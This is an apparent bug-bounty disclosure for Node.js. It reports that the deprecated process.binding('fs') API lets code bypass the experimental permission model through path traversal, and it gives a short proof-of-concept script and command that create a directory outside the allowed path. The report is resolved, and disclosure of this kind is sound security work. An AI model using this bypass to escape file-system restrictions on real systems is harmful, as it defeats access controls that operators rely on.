process.binding() can bypass the permission model through path traversal
High
N
Node.js
Submitted None
Team Summary
Official summary from Node.js
The use of the deprecated API `process.binding()` can bypass the permission model through path traversal. This vulnerability affects all users using the experimental permission model in Node.js 20.x. Please note that at the time this CVE was issued, the permission model is an experimental feature of Node.js.
Actions:
Reported by
rafaelgss
Vulnerability Details
Technical details and impact analysis
**Summary:** process.binding('fs') bypassed the permission model validation against path traversal
**Description:** process.binding('fs') can be used to bypass the path traversal validation for the permisison model
## Steps To Reproduce:
Create the following index.js and store at `/home/pathtraversal/`
```js
// index.js
const fs = process.binding('fs')
fs.mkdir('/home/pathtraversal/../test0', 511, false, null, null)
```
```console
$ pwd
/home/pathtraversal/
$ node --experimental-permission --allow-fs-read="/home/pathtraversal/*" --allow-fs-write="/home/pathtraversal/*" index.js
```
`/home/test0` will be created bypassing the permission model validation
## Impact
All the methods exposed by the process.binding('fs') could eventually bypass the permission model using path traversal. It will require the attacker to read the node_file.cc implementation, but that's trivial.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Path Traversal